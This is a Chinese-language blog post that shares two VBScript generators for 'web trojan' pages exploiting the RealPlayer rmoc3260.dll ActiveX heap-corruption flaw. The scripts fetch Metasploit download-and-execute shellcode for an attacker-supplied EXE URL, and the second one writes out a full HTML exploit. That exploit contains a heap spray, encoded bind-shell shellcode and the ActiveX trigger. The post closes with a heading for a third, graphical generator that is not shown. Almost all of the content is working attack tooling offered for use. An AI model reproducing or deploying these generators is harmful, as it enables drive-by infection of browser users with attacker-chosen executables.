夜火最近Real Player rmoc3260.dll ActiveX Control 的漏洞闹的很火,我一直没转相关的文章,今天在鬼仔那看到了相关的网马生成器,有2个网马生成器是lcx那发的,最后一个图形界面的是丰初写的网马生成器(带测试动画)
---------------------lcx那里发的--------------------------------------- 作者:lcx 来源:vbs小铺
代码如下:
‘以下代码保存成vbs,双击即可
1On Error Resume Next2Exeurl = InputBox( "请输入exe的地址:", "输入", "http://www.haiyangtop.net/333.exe" )3url = "http://metasploit.com:55555/PAYLOADS?parent=GLOB%280x2b94a2879c50%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL="&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=Msf%3A%3AEncoder%3A%3AAlpha2&ACTION=Generate+Payload"4Body = getHTTPPage(url)5Set Re = New RegExp6Re.Pattern = "($shellcode =[sS]+</div></pre>)"7Set Matches = Re.Execute(Body)8If Matches.Count>0 Then Body = Matches(0).value9code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode =",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))10
11function replaceregex(str)12set regex=new regExp13regex.pattern="\x(..)\x(..)"14regex.IgnoreCase=true15regex.global=true62 collapsed lines
16matches=regex.replace(str,"%u$2$1")17replaceregex=matches18end Function19
20Function getHTTPPage(Path)21 t = GetBody(Path)22 getHTTPPage = BytesToBstr(t, "GB2312")23End Function24
25Function GetBody(url)26 On Error Resume Next27 Set Retrieval = CreateObject("Microsoft.XMLHTTP")28 With Retrieval29 .Open "Get", url, False, "", ""30 .Send31 GetBody = .ResponseBody32 End With33 Set Retrieval = Nothing34End Function35
36Function BytesToBstr(Body, Cset)37 Dim objstream38 Set objstream = CreateObject("adodb.stream")39 objstream.Type = 140 objstream.Mode = 341 objstream.Open42 objstream.Write Body43 objstream.Position = 044 objstream.Type = 245 objstream.Charset = Cset46 BytesToBstr = objstream.ReadText47 objstream.Close48 Set objstream = Nothing49End Function50
51Function URLEncoding(vstrIn)52 strReturn = ""53 For aaaa = 1 To Len(vstrIn)54 ThisChr = Mid(vStrIn,aaaa,1)55 If Abs(Asc(ThisChr)) < &HFF Then56 strReturn = strReturn & ThisChr57 Else58 innerCode = Asc(ThisChr)59 If innerCode < 0 Then60 innerCode = innerCode + &H1000061 End If62 Hight8 = (innerCode And &HFF00) &HFF63 Low8 = innerCode And &HFF64 strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)65 End If66 Next67 URLEncoding = strReturn68End Function69
70set fso=CreateObject("scripting.filesystemobject")71set fileS=fso.opentextfile("a.txt",8,true)72fileS.writeline replaceregex(code)73wscript.echo replaceregex(code)74files.close75set fso=Nothing76
77wscript.echo Chr(13)&"ok,生成a.txt,请用a.txt里的替换http://www.milw0rm.com/exploits/5332里的shellcode1内容即可"
------------------------------------另外一个版本-----------------------------------
1On Error Resume Next2a=""3b=""4a=a+"<!-- " & vbcrlf5a=a+"Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit(Heap Corruption)" & vbcrlf6a=a+"written by e.b." & vbcrlf7a=a+"Tested on Windows XP SP2(fully patched) English, IE6, rmoc3260.dll version 6.0.10.45" & vbcrlf8a=a+"Thanks to h.d.m. and the Metasploit crew" & vbcrlf9a=a+"-->" & vbcrlf10a=a+"<html>" & vbcrlf11a=a+" <head>" & vbcrlf12a=a+" <title>Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit</title>" & vbcrlf13a=a+" <script language=""JavaScript"" defer>" & vbcrlf14a=a+" function Check() {" & vbcrlf15a=a+" " & vbcrlf173 collapsed lines
16a=a+" " & vbcrlf17a=a+"" & vbcrlf18a=a+"" & vbcrlf19a=a+"// win32_exec - EXITFUNC=seh CMD=c:windowssystem32calc.exe Size=378 Encoder=Alpha2 http://metasploit.com " & vbcrlf20
21b=b+"" & vbcrlf22b=b+"// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com " & vbcrlf23b=b+"var shellcode2 = unescape(""%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"" +" & vbcrlf24b=b+" ""%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a"" +" & vbcrlf25b=b+" ""%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241"" +" & vbcrlf26b=b+" ""%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c"" +" & vbcrlf27b=b+" ""%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f"" +" & vbcrlf28b=b+" ""%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c"" +" & vbcrlf29b=b+" ""%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f"" +" & vbcrlf30b=b+" ""%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b"" +" & vbcrlf31b=b+" ""%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c"" +" & vbcrlf32b=b+" ""%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31"" +" & vbcrlf33b=b+" ""%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35"" +" & vbcrlf34b=b+" ""%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b"" +" & vbcrlf35b=b+" ""%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663"" +" & vbcrlf36b=b+" ""%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733"" +" & vbcrlf37b=b+" ""%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470"" +" & vbcrlf38b=b+" ""%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358"" +" & vbcrlf39b=b+" ""%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f"" +" & vbcrlf40b=b+" ""%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458"" +" & vbcrlf41b=b+" ""%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58"" +" & vbcrlf42b=b+" ""%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f"" +" & vbcrlf43b=b+" ""%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275"" +" & vbcrlf44b=b+" ""%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45"" +" & vbcrlf45b=b+" ""%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033"" +" & vbcrlf46b=b+" ""%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046"" +" & vbcrlf47b=b+" ""%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035"" +" & vbcrlf48b=b+" ""%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036"" +" & vbcrlf49b=b+" ""%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64"" +" & vbcrlf50b=b+" ""%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35"" +" & vbcrlf51b=b+" ""%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67"" +" & vbcrlf52b=b+" ""%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30"" +" & vbcrlf53b=b+" ""%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f"" +" & vbcrlf54b=b+" ""%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246"" +" & vbcrlf55b=b+" ""%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139"" +" & vbcrlf56b=b+" ""%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652"" +" & vbcrlf57b=b+" ""%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e"" +" & vbcrlf58b=b+" ""%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b"" +" & vbcrlf59b=b+" ""%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075"" +" & vbcrlf60b=b+" ""%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251"" +" & vbcrlf61b=b+" ""%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f"" +" & vbcrlf62b=b+" ""%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f"" +" & vbcrlf63b=b+" ""%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b"" +" & vbcrlf64b=b+" ""%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952"" +" & vbcrlf65b=b+" ""%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73"" +" & vbcrlf66b=b+" ""%u684f%u3956%u386f%u4350"");" & vbcrlf67b=b+"" & vbcrlf68b=b+"" & vbcrlf69b=b+" var bigblock = unescape(""%u0C0C%u0C0C"");" & vbcrlf70b=b+" var headersize = 20;" & vbcrlf71b=b+" var slackspace = headersize + shellcode1.length;" & vbcrlf72b=b+" while (bigblock.length < slackspace) bigblock += bigblock;" & vbcrlf73b=b+" var fillblock = bigblock.substring(0,slackspace);" & vbcrlf74b=b+" var block = bigblock.substring(0,bigblock.length - slackspace);" & vbcrlf75b=b+" while (block.length + slackspace < 0x40000) block = block + block + fillblock;" & vbcrlf76b=b+"" & vbcrlf77b=b+" " & vbcrlf78b=b+"" & vbcrlf79b=b+" var memory = new Array();" & vbcrlf80b=b+" for (i = 0; i < 400; i++){ memory[i] = block + shellcode1 }" & vbcrlf81b=b+" " & vbcrlf82b=b+" var buf = '';" & vbcrlf83b=b+" while (buf.length < 32) buf = buf + unescape(""%0C"");" & vbcrlf84b=b+"" & vbcrlf85b=b+" var m = '';" & vbcrlf86b=b+"" & vbcrlf87b=b+" m = obj.Console;" & vbcrlf88b=b+" obj.Console = buf;" & vbcrlf89b=b+" obj.Console = m;" & vbcrlf90b=b+" " & vbcrlf91b=b+" m = obj.Console;" & vbcrlf92b=b+" obj.Console = buf;" & vbcrlf93b=b+" obj.Console = m;" & vbcrlf94b=b+" " & vbcrlf95b=b+" " & vbcrlf96b=b+" } " & vbcrlf97b=b+" " & vbcrlf98b=b+" </script>" & vbcrlf99b=b+" " & vbcrlf100b=b+" " & vbcrlf101b=b+"</head>" & vbcrlf102b=b+" <body onload=""JavaScript: return Check();"">" & vbcrlf103b=b+" <object classid=""clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93"" id=""obj"">" & vbcrlf104b=b+" Unable to create object" & vbcrlf105b=b+" </object>" & vbcrlf106b=b+"" & vbcrlf107b=b+" </body>" & vbcrlf108b=b+"</html>" & vbcrlf109b=b+"" & vbcrlf110b=b+"# milw0rm.com [2008-04-01]" & vbcrlf111
112Exeurl = InputBox( "请输入exe的地址:", "输入", "http://www.haiyangtop.net/333.exe" )113url = "http://metasploit.com:55555/PAYLOADS?parent=GLOB%280x2b94a2879c50%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL="&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=Msf%3A%3AEncoder%3A%3AAlpha2&ACTION=Generate+Payload"114Body = getHTTPPage(url)115Set Re = New RegExp116Re.Pattern = "($shellcode =[sS]+</div></pre>)"117Set Matches = Re.Execute(Body)118If Matches.Count>0 Then Body = Matches(0).value119code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode =",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))120
121function replaceregex(str)122set regex=new regExp123regex.pattern="\x(..)\x(..)"124regex.IgnoreCase=true125regex.global=true126matches=regex.replace(str,"%u$2$1")127replaceregex=matches128end Function129
130Function getHTTPPage(Path)131 t = GetBody(Path)132 getHTTPPage = BytesToBstr(t, "GB2312")133End Function134
135Function GetBody(url)136 On Error Resume Next137 Set Retrieval = CreateObject("Microsoft.XMLHTTP")138 With Retrieval139 .Open "Get", url, False, "", ""140 .Send141 GetBody = .ResponseBody142 End With143 Set Retrieval = Nothing144End Function145
146Function BytesToBstr(Body, Cset)147 Dim objstream148 Set objstream = CreateObject("adodb.stream")149 objstream.Type = 1150 objstream.Mode = 3151 objstream.Open152 objstream.Write Body153 objstream.Position = 0154 objstream.Type = 2155 objstream.Charset = Cset156 BytesToBstr = objstream.ReadText157 objstream.Close158 Set objstream = Nothing159End Function160
161Function URLEncoding(vstrIn)162 strReturn = ""163 For aaaa = 1 To Len(vstrIn)164 ThisChr = Mid(vStrIn,aaaa,1)165 If Abs(Asc(ThisChr)) < &HFF Then166 strReturn = strReturn & ThisChr167 Else168 innerCode = Asc(ThisChr)169 If innerCode < 0 Then170 innerCode = innerCode + &H10000171 End If172 Hight8 = (innerCode And &HFF00) &HFF173 Low8 = innerCode And &HFF174 strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)175 End If176 Next177 URLEncoding = strReturn178End Function179
180set fso=CreateObject("scripting.filesystemobject")181set fileS=fso.opentextfile("a.txt",2,true)182fileS.writeline a183fileS.writeline "var shellcode1 = unescape(""" & replaceregex(code) & """);"184fileS.writeline b185files.close186set fso=Nothing187
188wscript.echo Chr(13)&"ok,生成a.txt"
------------------------------------丰初的图形界面的(带测试动画)-----------------------------------